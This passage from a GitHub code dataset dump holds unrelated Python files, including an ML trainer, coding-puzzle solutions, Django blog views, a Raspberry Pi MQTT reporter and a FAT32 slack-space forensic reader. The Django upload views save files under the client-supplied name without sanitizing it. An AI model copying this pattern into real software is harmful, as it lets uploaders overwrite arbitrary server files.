email_field.send_keys(email)\n","repo_name":"RGbrunov/cloud","sub_path":"src/conections/Chrome.py","file_name":"Chrome.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8983062697","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 18 12:25:33 2023\n\n@author: tengjunwan\n\"\"\"\n\nfrom pathlib import Path\n\nfrom tqdm import tqdm\nimport torch \nfrom torch.utils.tensorboard import SummaryWriter\n\n\nclass Trainer():\n \n def __init__(self, max_epochs, device, checkpoint_dir, log_dir):\n self.max_epochs = max_epochs\n self.device = torch.device(device)\n self.checkpoint_dir = Path(checkpoint_dir)\n self.log_dir = Path(log_dir)\n \n def fit(self, experiment, train_loader, val_loader):\n experiment.model.to(self.device)\n experiment.configure_optimizers()\n experiment.device = self.device\n tb = SummaryWriter(str(self.log_dir / experiment.params[\"exp_name\"]))\n \n for epoch in range(self.max_epochs):\n current_lr = experiment.get_current_lr()\n train_progress = tqdm(enumerate(train_loader), \n total=len(train_loader))\n train_msg = \\\n f\"Train:{epoch + 1}/{self.max_epochs}|lr:{current_lr:.3f}|\"\n # train\n running_tr = {}\n for i, (xs, labels) in train_progress:\n xs, labels = self._to_device(xs, labels)\n train_log = experiment.training_step((xs, labels))\n \n for k, v in train_log.items():\n running_tr.setdefault(k, []).append(v)\n \n if i % 49 == 0:\n for k, v in train_log.items():\n tb.add_scalar(k, v, i + epoch * len(train_loader))\n \n running_train_msg = \"|\".join(\n f\"{k}:{v:.3f}\" for k, v in train_log.items())\n train_progress.set_description(train_msg + running_train_msg)\n\n # val\n val_progress = tqdm(val_loader, total=len(val_loader),\n desc=f\"Val:{epoch + 1}/{self.max_epochs}\")\n running_val = {}\n for xs, labels in val_progress:\n xs, labels = self._to_device(xs, labels)\n val_log = experiment.validation_step((xs, labels))\n for k, v in val_log.items():\n running_val.setdefault(k, []).append(v)\n \n # get average\n for k in running_tr.keys():\n running_tr[k] = sum(running_tr[k]) / len(running_tr[k])\n for k in running_val.keys():\n running_val[k] = sum(running_val[k]) / len(running_val[k])\n \n val_msg = \"|\".join(f\"{k}:{v:.3f}\" for k, v in running_val.items())\n print(\"val result:\" + val_msg)\n \n \n experiment.scheduler.step()\n \n for k, v in running_val.items():\n tb.add_scalar(k, v, epoch)\n \n # visualize\n xs, labels = next(iter(val_loader))\n xs, labels = self._to_device(xs, labels)\n vis_result = experiment.on_validation_end((xs, labels))\n for k, v in vis_result.items():\n tb.add_images(k, v, global_step=epoch)\n \n self._save_checkpoint(experiment.model,\n f\"epoch: {epoch}_{running_tr['loss']:.3f}\"+\n f\"_{running_val['val_loss']:.3f}.pth\")\n \n tb.close()\n \n \n def _to_device(self, *args):\n ret = []\n for arg in args:\n if isinstance(arg, torch.Tensor):\n arg = arg.to(self.device)\n ret.append(arg)\n \n return ret\n \n def _save_checkpoint(self, model, save_name):\n if not self.checkpoint_dir.is_dir():\n self.checkpoint_dir.mkdir(parents=True, exist_ok=True)\n save_path = self.checkpoint_dir / save_name\n torch.save(model.state_dict(), str(save_path))\n \n \n ","repo_name":"tengjunwan/Pytorch_VAE","sub_path":"trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"22086286552","text":"#\n# Complete the 'superReducedString' function below.\n#\n# The function is expected to return a STRING.\n# The function accepts STRING s as parameter.\n#\n\ndef superReducedString(s):\n # Write your code here\n s = list(s)\n i = 0\n while i < len(s) - 1:\n if s[i] == s[i + 1]:\n del s[i]\n del s[i]\n i = 0\n if len(s) == 0:\n return 'Empty String'\n else:\n i+=1\n return ''.join(s)\n\nif __name__ == '__main__':\n\n s = input()\n\n result = superReducedString(s)\n\n print(result)\n","repo_name":"strenuousnerd8/Code","sub_path":"HackerRank/SuperReducedString.py","file_name":"SuperReducedString.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"19596175157","text":"import requests\nfrom icon_plugin_spec.plugin_spec import KomandPluginSpec\n\nfrom icon_validator.rules.validator import KomandPluginValidator\nfrom icon_validator.exceptions import ValidationException\n\n\nclass WorkflowUseCaseValidator(KomandPluginValidator):\n @staticmethod\n def get_approved_usecase_tags(response_json: dict) -> [str]:\n approved_usecases = []\n for result in response_json[\"results\"]:\n if result[\"type\"] == \"usecase\":\n approved_usecases.append(result[\"name\"])\n\n return approved_usecases\n\n @staticmethod\n def get_approved_usecase_tags_with_paging() -> [str]:\n approved_usecases = []\n params = {\n \"first\": 1000,\n \"types\": \"usecase\"\n }\n has_next = True\n while has_next:\n response = requests.get(url=f\"https://extensions-api.rapid7.com/v2/public/tags\", params=params)\n response_json = response.json()\n approved_usecases.extend(WorkflowUseCaseValidator.get_approved_usecase_tags(response_json))\n if not response_json[\"pageInfo\"][\"hasNextPage\"]:\n has_next = False\n\n params[\"after\"] = response_json['pageInfo']['endCursor']\n\n return approved_usecases\n\n @staticmethod\n def validate_use_case_exists(spec: KomandPluginSpec):\n try:\n use_cases = spec.spec_dictionary()[\"hub_tags\"][\"use_cases\"]\n if not use_cases:\n raise ValidationException(\"Empty required field 'use_cases' in key 'hub_tags'.\")\n except KeyError:\n raise ValidationException(\"Missing required field 'use_cases' in key 'hub_tags'.\")\n\n @staticmethod\n def validate_use_cases(use_cases: [str]) -> [str]:\n invalid_use_cases = []\n approved_use_cases = WorkflowUseCaseValidator.get_approved_usecase_tags_with_paging()\n for use_case in use_cases:\n if use_case not in approved_use_cases:\n invalid_use_cases.append(use_case)\n\n if len(invalid_use_cases):\n err = \", \".join(invalid_use_cases)\n raise ValidationException(\n f\"Invalid use cases: {err}. \"\n \"Update the use_cases array with one or more of the following valid use cases: \"\n f\"{approved_use_cases}\"\n )\n\n @staticmethod\n def validate_use_case_in_keywords(keywords: list) -> None:\n if not keywords:\n return\n\n invalid_keywords = []\n approved_use_cases = WorkflowUseCaseValidator.get_approved_usecase_tags_with_paging()\n for keyword in keywords:\n if keyword in approved_use_cases:\n invalid_keywords.append(keyword)\n\n if len(invalid_keywords):\n bad_keywords = \", \".join(invalid_keywords)\n raise ValidationException(\"The keywords array contains reserved use_cases, \"\n f\"please remove the following from the list: {bad_keywords}\")\n\n def validate(self, spec: KomandPluginSpec):\n WorkflowUseCaseValidator.validate_use_case_exists(spec)\n WorkflowUseCaseValidator.validate_use_cases(spec.spec_dictionary()[\"hub_tags\"][\"use_cases\"])\n WorkflowUseCaseValidator.validate_use_case_in_keywords(spec.spec_dictionary()[\"hub_tags\"].get(\"keywords\"))\n","repo_name":"rapid7/icon-integrations-validators","sub_path":"icon_validator/rules/workflow_validators/workflow_use_case_validator.py","file_name":"workflow_use_case_validator.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"52"} +{"seq_id":"3725530239","text":"import os\n\nfrom django.contrib import messages\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, redirect\n\n# Create your views here.\nfrom django.urls import reverse\n\nfrom App.models import Article, Category, Tag\n\n# {% url 'App02:delete' aid=article.aid cid=cid page=page %}\n# 这是模板里的写法:url是反向定位到这个应用的路由名对应的视图函数名,并把它里面的需要的参数传过去\n# 这里获取到的参数值是由渲染这个模板的视图函数早就传过来的,所以可以直接写,最后注意,跳转的反向定位的视图函数最后处理完,不能再是渲染了,\n# 而应该是跳转redirect 和 reverse结合\nfrom App.views import check_login\nfrom App02.form import ArticleForm\nfrom App02.utils import FileUpload\nfrom blog import settings\n\n@check_login\ndef delete_article(request, aid, cid=-1, page=1): # aid必须给,没有默认值 注意位置\n # aid:文章id号 cid:类别id page:当前页码\n article = Article.objects.get(pk=aid)\n if article:\n article.delete()\n # 删除之后,跳转到当前页面,并把参数传过去 注意django的路由后面的参数传的方法与flask不一样\n # return HttpResponse('ok')\n return redirect(reverse('App:main', kwargs={'cid': cid, 'page': page}))\n\n\n# 开发:路由正确,视图函数完成业务功能\n# 跟数据处理的有关的操作完全可以放到模型中,定义一个类\n@check_login\ndef fabu(request,cid=-1):\n if request.method=='POST':\n fobj = request.FILES.get('picture')\n path=settings.MDEIA_ROOT\n fp=FileUpload(fobj)\n # print(fp) #\n # print(fobj.name) #2.png\n form = ArticleForm(request.POST)\n if form.is_valid() and fp.upload(path):\n data=request.POST.dict()\n print(data)\n data.pop('csrfmiddlewaretoken')\n data['picture']='upload/'+fobj.name\n # print(data)\n Article.add(**data)\n messages.success(request,'发表成功')\n return redirect(reverse('App:main'))\n # return HttpResponse('ok')\n else:\n messages.error(request,'文件上传有误,请重新上传')\n return render(request,'wenzhang_xinwen_fabu.html',locals())\n else:\n cid=cid if cid >0 else Category.first_category().cid\n return render(request, 'wenzhang_xinwen_fabu.html',locals())\n\n\n# def fabu(request,cid=-1):\n# if request.method=='POST':\n# form=ArticleForm(request.POST)\n# if form.is_valid():\n# data=form.cleaned_data\n# if data.get('content') in ['反动派','反政府','反人民'] or data.get('full_content') in ['反动派','反政府','反人民']\\\n# or data.get('title') in ['反动派','反政府','反人民']:\n# messages.error(request,'内容包含不当言论,请注意你的言辞')\n# return render(request,'wenzhang_xinwen_fabu.html',locals())\n# else:\n# # article=Article(title=data.get('title'),content=data.get('content'),full_content=data.get('full_content'))\n# # article.save()\n# # name=data.get('tag')\n# # tag=Tag(name=name,aid=article)\n# # tag.save()\n# print(data)\n# # data.pop()\n# Article.add(**data)\n# messages.success(request,'发表成功')\n# return redirect(reverse('App:main'))\n# else:\n# return render(request,'wenzhang_xinwen_fabu.html',locals())\n# else:\n# cid=cid if cid>0 else Category.first_category().cid\n# form=ArticleForm()\n# return render(request,'wenzhang_xinwen_fabu.html',locals())\n\n@check_login\ndef update_article(request,aid,cid=-1):\n if request.method=='POST':\n fobj = request.FILES.get('picture')\n path = settings.MDEIA_ROOT\n fp = FileUpload(fobj)\n form=ArticleForm(request.POST)\n if form.is_valid() and fp.upload(path):\n data=form.cleaned_data\n data['picture']='upload/'+fobj.name\n # print(data)\n # data.poop('csrfmiddlewaretoken')\n # data.pop('photo')\n article=Article.objects.get(pk=aid)\n article.title=data.get('title')\n article.content=data.get('content')\n article.full_content=data.get('full_content')\n article.create_time=data.get('create_time')\n article.picture=data.get('picture')\n article.save()\n messages.success(request,'修改成功')\n return redirect(reverse('App:main'))\n else:\n return render(request,'wenzhang_xinwen_update.html',locals())\n article = Article.objects.get(pk=aid)\n form=ArticleForm()\n return render(request,'wenzhang_xinwen_update.html',locals())\n\n@check_login\ndef upload_article(request):\n # if request.method=='POST':\n fobj=request.FILES.get('photo')\n path=os.path.join(settings.STATICFILES_DIRS[0],'upload')\n path=os.path.join(path,fobj.name)\n if fobj:\n print(fobj.name,fobj.size)\n with open(path,'wb') as target:\n if fobj.multiple_chunks():\n for data in fobj.chunks():\n target.write(data)\n else:\n target.write(fobj.read())\n\n return redirect(reverse('App02:fabu'))\n# return redirect(reverse('App02:fabu'))","repo_name":"xinfengrong/django_blog","sub_path":"App02/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13359141251","text":"import numpy as np\nfrom sklearn.cluster import DBSCAN\nimport math\n\n#clustering functions\ndef custom_metric(q, p, space_eps, time_eps, extraData):\n dist = 0\n for i in range(2):\n dist += (q[i] - p[i])**2\n spatial_dist = math.sqrt(dist)\n\n time_dist = math.sqrt((q[2]-p[2])**2)\n\n if time_dist/time_eps <= 1 and spatial_dist/space_eps <= 1 and extraData[int(p[3])][0] != extraData[int(q[3])][0]:\n return 1\n else:\n return 2\n\n\ndef doClustering(vector_4d, distance, time, minimum_cluster, extraData):\n\n params = {\"space_eps\": distance, \"time_eps\": time, \"extraData\": extraData}\n db = DBSCAN(eps=1, min_samples=minimum_cluster-1, metric=custom_metric, metric_params=params).fit_predict(vector_4d)\n\n unique_labels = set(db)\n total_clusters = len(unique_labels) if -1 not in unique_labels else len(unique_labels) -1\n\n result=[]\n\n #print(\"Total clusters:\", total_clusters)\n\n total_noise = list(db).count(-1)\n\n #print(\"Total un-clustered:\", total_noise)\n\n for k in unique_labels:\n if k != -1:\n\n labels_k = db == k\n cluster_k = vector_4d[labels_k]\n row=[]\n\n #print(\"Cluster\", k, \" size:\", len(cluster_k))\n\n for pt in cluster_k:\n row.append({'x':pt[0], 'y':pt[1], 'date':extraData[int(pt[3])][2], 'caseNo':extraData[int(pt[3])][0], 'location':extraData[int(pt[3])][1]})\n\n result.append(row)\n\n return result\n\n\n# 5. manipulate the cluster function to print give the exact output the tasksheet requires.\n\n","repo_name":"terry331234/comp3297_group_k","sub_path":"hotzone_project/cluster/clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37591922680","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nN = int(input())\r\nnumbers = list(map(int, input().split()))\r\nnumbers.sort()\r\n\r\nif N % 2:\r\n K = (N // 2) + 1\r\nelse:\r\n K = N // 2\r\n\r\nresult = 0\r\nfor i in range(K):\r\n num = numbers[i]\r\n while num > 1:\r\n num = num // 2\r\n result += 1\r\n\r\nprint(result + 1)","repo_name":"ict-cspark/Algorithm","sub_path":"백준/Silver/23758. 중앙값 제거/중앙값 제거.py","file_name":"중앙값 제거.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"4495806272","text":"# This file is modified from a part of qdpy.\n#\n# qdpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Lesser General Public License as\n# published by the Free Software Foundation, either version 3 of\n# the License, or (at your option) any later version.\n#\n# qdpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public\n# License along with qdpy. If not, see .\n\n\"\"\"Some base classes, stubs and types.\"\"\"\n\nimport pickle\nfrom abc import ABC\nfrom typing import Iterable, Optional\n\nimport numpy as np\n\nfrom stew.base import FeaturesLike, FitnessLike, IndividualLike, Module\n\n__all__ = ['IndividualProps', 'Individual']\n\n\ndef simple_hash(obj):\n try:\n p = hash(tuple(obj))\n except TypeError:\n # Fallback to pickle binary hash\n p = hash(pickle.dumps(obj, -1))\n return p\n\n\nclass IndividualProps(IndividualLike, ABC):\n _features: FeaturesLike\n _fitness: FitnessLike\n _weight: FitnessLike\n elapsed: Optional[float]\n\n def reset(self):\n # Note: Only float type support np.nan behavior\n self.fitness = np.full_like(self.fitness, np.nan, dtype=float)\n self.features = np.full_like(self.features, np.nan, dtype=float)\n self.elapsed = np.nan\n\n @property\n def features(self) -> FeaturesLike:\n return self._features\n\n @property\n def fitness(self) -> FitnessLike:\n return self._fitness\n\n @property\n def weight(self) -> FitnessLike:\n return self._weight\n\n @features.setter\n def features(self, value):\n self._features = np.atleast_1d(value)\n\n @fitness.setter\n def fitness(self, value):\n value = np.atleast_1d(value)\n try:\n broadcast_shape = np.broadcast_shapes(value.shape, self.weight.shape)\n if broadcast_shape != value.shape:\n raise ValueError\n except ValueError:\n raise ValueError(f\"shape mismatch: fitness and weight cannot be broadcast to a single shape.\")\n self._fitness = value\n\n @weight.setter\n def weight(self, value):\n if not np.all(np.isfinite(value)):\n raise ValueError(\"`weight` should be a finite number!\")\n self._weight = np.atleast_1d(value)\n\n @property\n def objective_value(self):\n return self.fitness * self.weight\n\n\nclass Individual(Module, list, IndividualProps):\n \"\"\"Qdpy Individual class. Note that containers and algorithms all use internally\n either the QDPYIndividualLike Protocol or the IndividualWrapper class,\n so you can easily declare an alternative class to Individual.\"\"\"\n\n def __init__(self,\n iterable: Optional[Iterable] = None,\n name: Optional[str] = None,\n features: Optional[FeaturesLike] = np.array([]),\n fitness: Optional[FitnessLike] = np.nan,\n weight: Optional[FitnessLike] = 1.,\n elapsed: Optional[float] = np.nan) -> None:\n super(Individual, self).__init__()\n self.name = name if name else \"\"\n self.weight = weight\n self.features = features\n # Larger fitness means better individual\n # By default we assume maximize all fitness objectives\n self.fitness = fitness\n self.elapsed = elapsed\n\n if iterable is not None:\n self.extend(iterable)\n\n def extra_repr(self):\n repr_str = f\"data={list.__repr__(self)}\"\n if len(self.features) != 0:\n repr_str += f\", features={self.features}\"\n repr_str += f\", fitness={self.fitness}\" \\\n f\", weight={self.weight}\"\n\n return repr_str\n\n def clear(self):\n super(Individual, self).clear()\n self.reset()\n\n def __hash__(self):\n return simple_hash(self)\n\n def __add__(self, other: Iterable):\n result = Individual(self)\n result.extend(other)\n result.reset()\n return result\n\n def __eq__(self, other):\n return self.__class__ == other.__class__ and tuple(self) == tuple(other)\n\n def __ne__(self, other):\n return not self.__eq__(other)\n","repo_name":"YummyStew/YummyStew","sub_path":"stew/phenotypes.py","file_name":"phenotypes.py","file_ext":"py","file_size_in_byte":4400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15513567629","text":"from db.run_sql import run_sql\n\nfrom models.project import Project\nfrom models.triage import Triage\nfrom models.risk import Risk\nfrom models.control import Control\n\nimport repositories.project_repository as project_repository\nimport repositories.triage_repository as triage_repository\nimport repositories.risk_repository as risk_repository\nimport repositories.control_repository as control_repository\n\ndef save(project):\n sql = \"INSERT INTO projects(title,sponsor,project_manager,start_date,end_date,status,triage_id) VALUES (%s,%s,%s,%s,%s,%s,%s) RETURNING id\"\n values = [project.title,project.sponsor,project.project_manager,project.start_date,project.end_date,project.status,project.triage.id]\n results = run_sql(sql,values)\n project.id = results[0]['id']\n return project\n\ndef select_all():\n projects = []\n sql = \"SELECT * FROM projects\"\n results = run_sql(sql)\n\n for row in results:\n triage = triage_repository.select(row['triage_id'])\n project = Project(row['title'],row['sponsor'],row['project_manager'],row['start_date'],row['end_date'],row['status'],triage,row['id'])\n projects.append(project)\n return projects\n\ndef select(id):\n project = None\n sql = \"SELECT * FROM projects WHERE id = %s\"\n values = [id]\n result = run_sql(sql,values)[0]\n triage = triage_repository.select(result['triage_id'])\n\n if result is not None:\n project = Project(result['title'],result['sponsor'],result['project_manager'],result['start_date'],result['end_date'],result['status'],triage,result['id'])\n return project\n\ndef delete_all():\n sql = \"DELETE FROM projects\"\n run_sql(sql)\n\ndef delete(id):\n sql = \"DELETE FROM projects WHERE id = %s\"\n values = [id]\n run_sql(sql,values)\n\ndef update(project):\n sql = \"UPDATE projects SET (title,sponsor,project_manager,start_date,end_date,status,triage_id) = (%s,%s,%s,%s,%s,%s,%s) WHERE id = %s\"\n values = [project.title,project.sponsor,project.project_manager,project.start_date,project.end_date,project.status,project.triage.id]\n run_sql(sql,values)\n\n# Find the projects by the consultant = xxx???\n# def projects(consultant):\n# values = [consultant.id]\n# sql = f\"\"\"\n# SELECT projects.* FROM projects\n# INNER JOIN assignments\n# ON projects.id = assignments.project_id\n# WHERE consultant_id = %s\n# \"\"\"\n# results = run_sql(sql,values)\n# projects = []\n# for row in results:\n# project = Project(row['title'],row['sponsor'],row['project_manager'],row['start_date'],row['end_date'],row['status'],row['id'])\n# projects.append(project)\n# return projects\n# ----------------------------------------------\n# def total_project_spend():\n# sql = f\"\"\"\n# SELECT project_id, SUM(total_cost) FROM projects\n# INNER JOIN assignments ON projects.id = assignments.project_id\n# GROUP BY project_id\n# \"\"\"\n# total_project_spend =run_sql(sql)\n# return total_project_spend","repo_name":"michaelmccoll/Project_Secure_Design","sub_path":"repositories/project_repository.py","file_name":"project_repository.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"24500822661","text":"\"\"\":mod:`Stock` -- Provides an interface for Neopets stocks\n\n.. module:: Stock\n :synopsis: Provides an interface for Neopets stocks\n.. moduleauthor:: Kelly McBride \n\"\"\"\ndef clean_numeric(string_value):\n # Clean commas\n cleaned = string_value.replace(',', '')\n # Clean percent signs\n cleaned = cleaned.replace('%', '')\n return cleaned\n\n\nclass Stock:\n\n \"\"\" An class representing a Neopets stock\n\n Attributes\n ticker\n open\n current price\n qty || volume\n % change\n company -- maybe null\n chg -- maybe null\n paid -- maybe null\n mkt value -- maybe null\n \"\"\"\n\n def __init__(self, data):\n \"\"\" Initialized with data from an HTML row \"\"\"\n # Required Data\n self.ticker = data['ticker'].split()[0]\n self.volume = int(clean_numeric(data.get('volume', data.get('qty', ''))))\n self.open_price = int(clean_numeric(data['open']))\n self.curr_price = int(clean_numeric(data.get('curr')))\n self.percent_change = float(clean_numeric(data['change'])) / 100.\n\n # Optional Data\n self.company = data.get('company', '')\n self.absolute_change = data.get('chg')\n self.paid = data.get('paid')\n self.mkt_value = data.get('mkt value')\n\n","repo_name":"kemcbride/Neolib","sub_path":"neolib/stock/Stock.py","file_name":"Stock.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"70552667045","text":"#!/usr/bin/env python3\n\nimport paho.mqtt.publish as publish\nimport json\nimport os\nfrom subprocess import check_output\nfrom re import findall\nfrom datetime import datetime\n\njsonData = {}\n\ndef get_temp():\n temp = check_output([\"vcgencmd\",\"measure_temp\"]).decode(\"UTF-8\")\n return float(findall(\"\\d+\\.\\d+\",temp)[0])\n\ndef publish_message(topic, message):\n print(\"Publishing to MQTT topic: \" + topic)\n print(\"Message: \" + message)\n publish.single(topic, message, 0, False, hostname=\"nodered.local\")\n\nhostname = os.popen(\"hostname\").read().strip()\nloadavg = check_output([\"cat\",\"/proc/loadavg\"]).decode(\"UTF-8\").split()\nipaddr = check_output([\"/sbin/ifconfig\",\"eth0\"]).decode(\"UTF-8\").split()[5]\nfree = os.popen(\"free -w | grep Mem\").read().split()\nthrottled = check_output([\"/opt/vc/bin/vcgencmd\",\"get_throttled\"]).decode(\"UTF-8\").strip().split(\"=\")[1]\n\nnow = datetime.now()\ndate = now.strftime(\"%d.%m.%Y\")\ntime = now.strftime(\"%H:%M:%S\")\n\njsonData['cpu_temp'] = get_temp()\njsonData['load_1m'] = float(loadavg[0])\njsonData['load_5m'] = float(loadavg[1])\njsonData['load_15m'] = float(loadavg[2])\njsonData['eth0'] = ipaddr\njsonData['mem_total'] = int(free[1])\njsonData['mem_used'] = int(free[2])\njsonData['throttled'] = int(throttled, 16)\njsonData['date_now'] = date\njsonData['time_now'] = time\n\npublish_message(\"pi/\" + hostname, json.dumps(jsonData))\n","repo_name":"gry79/RaspiStats","sub_path":"raspistats.py","file_name":"raspistats.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37878687526","text":"import unittest\r\n\r\nfrom _classic.hubdsm.processing.enmapalgorithm import EnMAPAlgorithm\r\n\r\nfrom qgis.core import *\r\n\r\n# init QGIS\r\nfrom processing.core.Processing import Processing\r\nfrom qgis.core import QgsApplication\r\n\r\nqgsApp = QgsApplication([], True)\r\nqgsApp.initQgis()\r\n\r\n\r\n# activate QGIS log in PyCharm\r\ndef printQgisLog(tb, error, level):\r\n print(tb)\r\n\r\n\r\nQgsApplication.instance().messageLog().messageReceived.connect(printQgisLog)\r\n\r\nProcessing.initialize()\r\n\r\n\r\nclass ProcessingFeedback(QgsProcessingFeedback):\r\n pass\r\n\r\n\r\nclass TestCase(unittest.TestCase):\r\n\r\n @staticmethod\r\n def runalg(alg: EnMAPAlgorithm, io: dict):\r\n assert isinstance(alg, EnMAPAlgorithm)\r\n print(f'\\n{\"#\" * 80}')\r\n alg.defineCharacteristics()\r\n print(alg.__class__.__name__,\r\n '({} -> {}), {}, {}'.format(alg.group(), alg.displayName(), alg.groupId(), alg.name()))\r\n print('parameters = {}'.format(repr(io)))\r\n return Processing.runAlgorithm(alg, parameters=io, feedback=ProcessingFeedback())\r\n","repo_name":"EnMAP-Box/enmap-box","sub_path":"enmapbox/coreapps/_classic/hubdsm/test/processing/testcase.py","file_name":"testcase.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"52"} +{"seq_id":"38549218364","text":"\r\npartNumber = 0\r\nFILE = \"\"\r\n\r\nimport sys, traceback\r\nimport os\r\nimport ntpath\r\n\r\ndef readMBR(file):\r\n MBR = []\r\n b = file.read(512)\r\n for i in range(4):\r\n MBR.append(b[446 + i*16:462 + i*16])\r\n\r\n for partition in MBR:\r\n print(partition)\r\n type = partition[4]\r\n\r\n if(type == 12):\r\n addr = partition[8:12]\r\n addr = bToDec(addr) #in clusters\r\n addr = addr * 512 #in bytes\r\n\r\n print(bToDec(partition[12:16]) * 512)\r\n\r\n partition = MBR[partNumber]\r\n type = partition[4]\r\n\r\n if(type == 12):\r\n addr = partition[8:12]\r\n addr = bToDec(addr) #in clusters\r\n addr = addr * 512 #in bytes\r\n else:\r\n raise Exception('Wrong partition type, type is : {}'.format(type))\r\n\r\n\r\n # go to FAT partition\r\n file.read(addr - 512) # -512 because we already read the first cluster\r\n\r\n return addr\r\n\r\ndef bToDec(b):\r\n return (int.from_bytes(b, \"little\"))\r\n\r\ndef readSecNumber(num, number=1):\r\n file = open(FILE, \"rb\")\r\n file.read(num * 512)\r\n return file.read(512 * number)\r\n\r\ndef firstSec(N, BPB_SecPerClus, FirstDataSector):\r\n a = ((N - 2) * BPB_SecPerClus) + FirstDataSector\r\n return a\r\n\r\ndef parseDir(dir, toFind=\"\", type=\"dir\"):\r\n for i in range(100):\r\n offset = i*32\r\n name = dir[0 + offset:11 + offset]\r\n addrLO = dir[26 + offset:28 + offset]\r\n addrHI = dir[20 + offset:22 + offset]\r\n attr = dir[11 + offset:12 + offset]\r\n addr = addrLO + addrHI\r\n size = bToDec(dir[28 + offset:32 + offset])\r\n if(bToDec(name) == 0):\r\n break\r\n\r\n print(\"Name : \",name,\" ,Adr :\", bToDec(addr), \" ,Attr : \", bToDec(attr))\r\n\r\n if(type == \"dir\"):\r\n att = 16\r\n if(type == \"file\"):\r\n att = 32\r\n\r\n name = str(name)[2:]\r\n attr = bToDec(attr)\r\n if(att == attr and name.startswith(toFind)):\r\n return bToDec(addr), size\r\n \r\n return -1, -1\r\n\r\nif __name__ == \"__main__\":\r\n if len(sys.argv) != 4:\r\n print(\"The number of argument need to be 3.\")\r\n exit(-1)\r\n ifEqual, diskimg = sys.argv[1].split(\"=\", 1)\r\n part, primarypart = sys.argv[2].split(\"=\", 1)\r\n file_abs = sys.argv[3]\r\n if os.path.isabs(file_abs)==False:\r\n print(\"Error in the command.\")\r\n exit(-1)\r\n\r\n FILE = diskimg\r\n partNumber = int(primarypart)\r\n\r\n path = []\r\n path = file_abs.split(\"/\")\r\n path = path[1:]\r\n\r\n file = open(FILE, \"rb\")\r\n\r\n fatAddr = readMBR(file)\r\n fatsec = int(fatAddr / 512)\r\n\r\n print(\"FAT\")\r\n \r\n MBR = []\r\n fatBS = file.read(512)\r\n # for i in range(8):\r\n # print(fatBS[i*16:16 + i*16])\r\n\r\n print()\r\n BPB_RsvdSecCnt = bToDec(fatBS[14:14+2])\r\n BPB_NumFATs= bToDec(fatBS[16:16+1])\r\n BPB_FATSz32 = bToDec(fatBS[36:36+4])\r\n BPB_BytsPerSec = bToDec(fatBS[11:11+2])\r\n BPB_SecPerClus = bToDec(fatBS[13:13+1])\r\n print(\"BPB_RsvdSecCnt : \", BPB_RsvdSecCnt)\r\n print(\"BPB_FATSz32 : \", BPB_FATSz32)\r\n print(\"BPB_NumFATs : \", BPB_NumFATs)\r\n\r\n FirstDataSector = BPB_RsvdSecCnt + (BPB_NumFATs * BPB_FATSz32)\r\n\r\n rsvdEnd = BPB_RsvdSecCnt * 512\r\n\r\n print(FirstDataSector)\r\n print(BPB_BytsPerSec)\r\n\r\n file.read(rsvdEnd - 512) # - 512 because we already read 1 sector\r\n fatTable = file.read(BPB_FATSz32 * 512)\r\n\r\n # for i in range(4):\r\n # print(fatTable[i*16:16 + i*16])\r\n\r\n table = []\r\n for i in range(32):\r\n b = fatTable[i*4:4 + i*4]\r\n table.append(bToDec(b))\r\n \r\n print(table)\r\n\r\n path = [\"1\", \"BD\"]\r\n\r\n #Find the file\r\n i = 0\r\n nextAddr = 2 #Root dir\r\n type = \"dir\"\r\n while(nextAddr != -1):\r\n if(i == len(path) - 1):\r\n type = \"file\"\r\n\r\n dirSec = firstSec(nextAddr, BPB_SecPerClus, FirstDataSector)\r\n dir = readSecNumber(dirSec + fatsec, number=BPB_SecPerClus)\r\n nextAddr, size = parseDir(dir, type=type, toFind=path[i])\r\n print(\"NextAddr\", nextAddr, \" Size : \", size)\r\n\r\n if(i == len(path) - 1):\r\n break\r\n\r\n i +=1\r\n\r\n if(size == -1):\r\n print(\"File not found\")\r\n exit(-1)\r\n\r\n # Get the slack\r\n leftToRead = size\r\n clustSize = BPB_SecPerClus * 512\r\n print(clustSize)\r\n\r\n file = bytes()\r\n while(True):\r\n\r\n fileSec = firstSec(nextAddr, BPB_SecPerClus, FirstDataSector)\r\n file += readSecNumber(fileSec + fatsec, number=BPB_SecPerClus)\r\n \r\n leftToRead -= clustSize\r\n if(leftToRead < 0):#EOF\r\n break\r\n nextAddr = table[nextAddr]\r\n\r\n\r\n slack = file[size:]\r\n \r\n for i in range(int(len(slack) / 8)):\r\n formatted = \"{:02x}{:02x} {:02x}{:02x} 